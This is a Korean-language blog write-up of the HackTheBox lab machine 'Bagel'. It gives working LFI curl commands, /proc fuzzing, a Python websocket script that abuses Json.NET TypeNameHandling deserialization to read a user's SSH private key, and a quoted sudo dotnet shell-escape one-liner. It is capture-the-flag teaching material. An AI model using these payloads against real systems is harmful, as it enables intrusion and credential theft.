LEVEL : Medium
소요시간 : 11 시간 35분
Port Scan
언제나 하는과정.. 오픈된 포트를 알기위해 모든 포트를 Tcp Connect Scan 으로 최대한 빠르게 스캔한다.
결과로는 ssh 랑 upnp (포트포워딩관련), 8000 포트가 오픈되어있다.
$nmap -p- -T4 --min-rate=10000 10.10.11.201 -oN bagel.nmap
대상 서버의 호스트 및 도메인 이름이 bagel.htb 이라고하니 /etc/hosts 파일에 추가시키면
브라우저에서 8000 포트에 정상적으로 접근이 가능해진다.
$curl http://10.10.11.201:8000
디폴트 페이지이며 page 파라미터에 페이지 및 html 파일이 include 되어있는것을 보면, LFI, 나 RFI 가 발생할수있음을 바로 짐작할수있다. 또한 orders 링크에 들어가면 고객들의 주문정보같은것이 노출된다.
index.php 등등 으로 접속해보았더니 404 가 떠서 curl 로 확인해보았는데, 운용중인 서버는 파이썬 3.10.9 버전의
Werkzeug 를 사용중임을 확인할수 있다.
Local File Inclusion (LFI)
어떤 우회기법도 걸려있지않아 너무 쉽게도.. LFI 취약점으로 /etc/passwd 를 얻어내었다. 여기서부터 약간 의심이 되기 시작했다. 나중에 무슨 폭탄을 맞을까..
$curl 'http://bagel.htb:8000/?page=../../../../../../etc/passwd'
여튼 중요정보를 알았으니, passwd 파일은 로컬에 저장하였고 bash 쉘을 사용하는 사용자들을 찾아보았더니, 취약한서버 내부에는 root 를 제외한 developer, phil 유저가 있음을 짐작할수있다.
$curl 'http://bagel.htb:8000/?page=../../../../../../etc/passwd' -o passwd -s
$cat passwd | grep '/bin/bash'
현재 접근가능한 디렉터티를 알기위해 모든 사용자의 각 홈디렉터리에 존재하는 .bashrc 를 검색해보았더니, developer 계정의 홈디렉터리에 접근할수 있었다.
Process Enumeration
호스트파일도 보고각종 설정파일을 봤지만, 딱히 나오는게 없었다. 하지만, 해당 python webapp 을 실행중인 프로세스는 지금도 동작하고있을것이기 떄문에 Process Enumeration 을 진행하였다. 리눅스에서는 /proc 디렉터리 하위에 프로세스의 PID 의 이름으로 폴더가 생성되어있다. 아래 과정은 퍼징을 하기위해 1 ~ 5000 까지의 숫자를 process.lst 파일에 저장하는 전처리 작업을 수행한 것이다.
$for i in $(seq 1 5000); do echo $i; done > process.lst
그리고 FFUF 로 현재 활성화되어있는 프로세스 정보들을 Fuzzing 하는 과정을 진행하였고, 활성화된 PID 들을
process_result.txt 파일로 다시 저장하였다.
$ffuf -u "http://bagel.htb:8000/?page=../../../../../../proc/FUZZ/cmdline" -w process.lst -fs 0,14 -s | tee process_result.txt
이제 활성화된 PID 를 폴더이름으로 삼고, 해당 PID 가 수행중인 명령들을 알아내는 요청을 반복해서 curl 보낸다.
$while read process; do echo curl "http://bagel.htb:8000/?page=../../../../../../proc/$process/cmdline"
-s -o $process; done < process_result.lst
활성화된 PID 들이 수행중인 명령들을 확인하는데 46초가 걸렸다.
$time while read process; do curl "http://bagel.htb:8000/?page=../../../../../../proc/$process/cmdline"
-s -o $process; done < process_result.lst
활성화된 PID 가 수행중인 명령들을 모두 알아내었지만, 문자열 \n 로 끝나지 않아 한줄로 출력된다.
따라서 이를 처리하기위해 파이프라인을 통해 manipulize 하였다. 또한, 예상했듯이 Webapp 이 developer 계정의 /app/app.py 에서 실행중임을 확인했다.
$ls | while read process; do echo -n "$process : "; cat $process; echo; done
웹서버가 실행되는 위치와 스크립트 이름을 알기때문에 다시 LFI 로 파이썬 스크립트를 얻을 수 있다.
대상 webapp 은 Flask 를 사용중이다. 해당 스크립트에서 중요한 부분은 딱 두가지다.
첫번째는 /orders 페이지에 접근하면 WebSocket 을 사용하여 서버의 5000 포트에 메시지를 전달한다는 것이고
두번째는 주석으로 'dotnet' 으로 dll 파일을 실행시키라고했고, ssh 로 접근하라는 정보이다.
결국 nmap 에서 나온 upnp 는 포트포워딩관련이 아니라, 웹소켓 전용 포트였던걸로 결론이 났다.
$curl http://bagel.htb:8000/?page=../../../../../../home/developer/app/app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
주석으로 쓰여진 dll 파일을 찾기위해, PID 가 실행중인 명령들을 저장한 파일을 살펴보았더니, /opt 하위에 dll 파일이 실행중임을 확인할 수 있다. 이제 dll 파일을 LFI 로 얻어주면, windows 32 짜리 dll 파일임을 확인할 수 있다.
그리고 이 DLL 파일을 기드라로 열어서 사용된 Strings 들을 검색해보면 password 스러운 문자열과 확실친 않지만 orders.txt 의 경로가 노출된다.
$curl 'http://bagel.htb:8000/?page=../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -s -o bagel.dll
그리고 app.py 에서 5000 번 포트에서 Websocket 으로 무엇인가 메시지를 보낸다고했으니, 이를 재현하기위해 로컬에서
파이썬 스크립트를 작성했다. 스크립트 내용은 Websocket 으로 5000 포트에 연결하여 app.py 에 명시되어있는 json 오브젝트를 서버에 보내는 요청이다. 요청의 결과는 JSON 으로 오는데, null 문자도 출력됨을 확인가능하다.
이는 WebSocket 으로 보낸 요청을 서버가 직렬화시키고, 바로 역직렬화시켜서 그대로 API 로 내려주는 것임을 예측해볼 수 있다. 또한, 눈여겨보아야할것은 ReadOrder 키의 값으로 orders.txt 파일을 읽는 JSON 오브젝트를 덤프한 요청을 보낸 결과가 문자열 test 란 것이다.
import asyncio
import websockets
import json
async def test():
async with websockets.connect('ws://10.10.11.201:5000/') as websocket:
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
await websocket.send(data)
response = await websocket.recv()
print(response)
asyncio.get_event_loop().run_until_complete(test())
좀 전에 dll 파일을 기드라로 열어봤을떄 노출된 orders,txt 파일의 경로를 LFI 로 조회해보면 동일하게 test 문자열이 나왔다. 이제 ReadOrder 이친구는 파일을 읽는 역할을 수행하는 놈임을 알 수 있다.
.DLL Decompile
여기서 부터 진짜 뒤지게 어려워진다. 내가 못하는거겠지만.. 분명 JSON 을 이용한 역직렬화 취약점을 사용하는것은 알고있는데, .NET 으로 하는 방법은 모르고 여기서 진짜 멘탈 많이 갈렸다. 그래도 자바랑 비슷해서 너무 다행이었다.
여튼 DLL 파일을 분석하기에는 기드라로는 불가능하므로 IlSpy 디컴파일러를 사용하였다. DLL 파일을 분석한 결과는 아래에 쭉 간단하게 써놨다.
디컴파일러로 DLL 파일을 열면, Bagel, Base, DB File, Handler, Orders 클래스가 있다.
Bagel 객체는 서버의 설정과 request 와 response 를 내려주는 클래스같아보이고
Base 객체는 Orders 클래스를 상속한 클래스같아보인다.
DB 클래스는 아까 기드라로 열어봤던 것과 동일하게 dev id 의 패스워드가 노출되어있다.
FIle 클래스는 파일을 읽고쓰는 메서드들을 정의해놓는 클래스같아보였고
Handler 클래스는 직렬화, 역직렬화 하는 과정을 정의한 클래스다
마지막으로 Orders 클래스는 주문을 핸들링하는 클래스같아보인다.
아래 사진은 Bagel 클래스의 MessageReceived() 메서드이다.
이 메서드를 잘보면 Handler 객체의 인스턴스를 만든다음 역직렬화한 것을 request 변수에 담고, 요청을 다시 직렬화해서 response 로 내려주고있다. 여기서 역직렬화 취약점을 이용하는것임을 확신했다. 근데 .NET 에서 방법을 모름 ㅋㅋㅋㅋ
MessageReceived() 메서드에서 생성한 Handler 객체 내부에는 직렬화와 역직렬화를 수행하는 로직을 담당하는 Serialize 메서드와 Deserialize 메서드가 있다. 이놈들이 진짜 중요하다. 이 메서드들의 공통적인 특징은 set_TypeNameHandling 메서드로 무엇인가를 설정하고있는데, 이 메서드안에는 4 라는 정수가 TypeNameHandling 으로 형변환되어 들어간다는 것이다. 난 진짜 이놈이 뭘하는놈인지도 모르고, 구글에도 싹다 영어밖에 안나와서 여기서 4시간정도 날렸다.
그리고 Deserialize() 메서드의 리턴값으로는 제네릭으로 감싼 Base 객체가 리턴되는데, 이것이 response 로 짐작한 이유는 Base 클래스의 필드들이 WebSocket 요청의 응답값으로 그대로 노출되어서 그렇다.
이놈은 Orders 클래스인데, WriterOrder 와 ReadOrder 의 겟터셋터는 이해할수있었는데, RemoveOrder 필드만
겟터셋터가 이해할수없었다. 찾아보니까, 자동프로퍼티 변환이라고 한다.
[C# 고급문법] #1 프로퍼티(Property) & get/set 함수
[목차] get/set 함수 프로퍼티(Property) 자동구현 프로퍼티 * 개인적인 공부 기록용으로 작성한 포스팅 이기에, 잘못 된 내용이 있을 수 있습니다. #1 get / set 함수 프로그래머는 정보 은닉을 위해서,
novlog.tistory.com
결론부터말하자면 TypeNameHandling 에서 취약점이 발생하는데 이놈을 4 로 설정하면, JSON 데이터를 역직렬화할때 `$type` 이라는 특수한 키를 사용하여 역직렬화하는 클래스 이름을 지정할수있다는 취약점이 있다고 한다.
Exploit Code
Exploit Code 를 작성하면 아래와같이 나온다. 해당코드는 상단의 Websocket 요청을보내는 코드를 수정한것이다.
그리고 $type 이라는 특수한 키를 사용하여 역직렬화할 클래스 이름을 지정하면된다.
import asyncio
import websockets
import json
async def test():
async with websockets.connect('ws://10.10.11.201:5000/') as websocket:
# order = {"ReadOrder":"orders.txt"}
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
await websocket.send(data)
response = await websocket.recv()
print(response)
asyncio.get_event_loop().run_until_complete(test())
Exploit 코드를 실행하면 phil 유저의 ssh 개인키가 나오게된다.
Initial Access
Exploit 코드에서 얻은 SSH 개인키로 phil 계정에 접근할 수 있다.
Lateral Movement
또한, Ghidra 에서 얻은 password 같은 문자열로 developer 계정에 로그인할수있다.
developer 계정은 root 로 비밀번호없이 dotnet 명령어를 실행가능하다고 나와있다.
Privilege Escalation
해당 dotnet은 sudo 가 걸려있기 때문에 gtfobin 에 검색해보면 권한상승방법이 나와있다. 그래도 따라하면된다.
너무 어려웠다. 웹소켓까지는 겁나빨리 진행했는데 DLL 디컴파일부터 8시간은 잡아먹었다. 허리도 아프고..눈도아프다.. 근데 재밌다.. 내일은 스프링해야지...
https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm
TypeNameHandling setting
This sample uses the TypeNameHandling setting to include type information when serializing JSON and read type information so that the create types are created when deserializing JSON.
www.newtonsoft.com
How to serialize and deserialize JSON using C# - .NET
Learn how to use the System.Text.Json namespace to serialize to and deserialize from JSON in .NET. Includes sample code.
learn.microsoft.com
https://stackoverflow.com/questions/55924299/insecure-deserialization-using-json-net
Insecure deserialization using Json.NET
A static security scanner has flagged my C# code on this line: var result = JsonConvert.DeserializeObject<dynamic>(response); response will contain a JSON response from a web API. The scan...
stackoverflow.com
https://docs.particular.net/nservicebus/serialization/newtonsoft
Json.NET Serializer • Newtonsoft Serializer
A JSON serializer that uses Newtonsoft Json.NET.
docs.particular.net
https://gtfobins.github.io/gtfobins/dotnet/#sudo
dotnet | GTFOBins
.. / dotnet Shell File read Sudo Shell It can be used to break out from restricted environments by spawning an interactive system shell. dotnet fsi System.Diagnostics.Process.Start("/bin/sh").WaitForExit();; File read It reads data from files, it may be us
gtfobins.github.io
'HackTheBox' 카테고리의 다른 글
BroScience (0) | 2023.02.27 |
---|---|
Investigation (0) | 2023.02.14 |
Squashed (0) | 2023.02.02 |
Soccer (0) | 2022.12.29 |
Precious (0) | 2022.12.06 |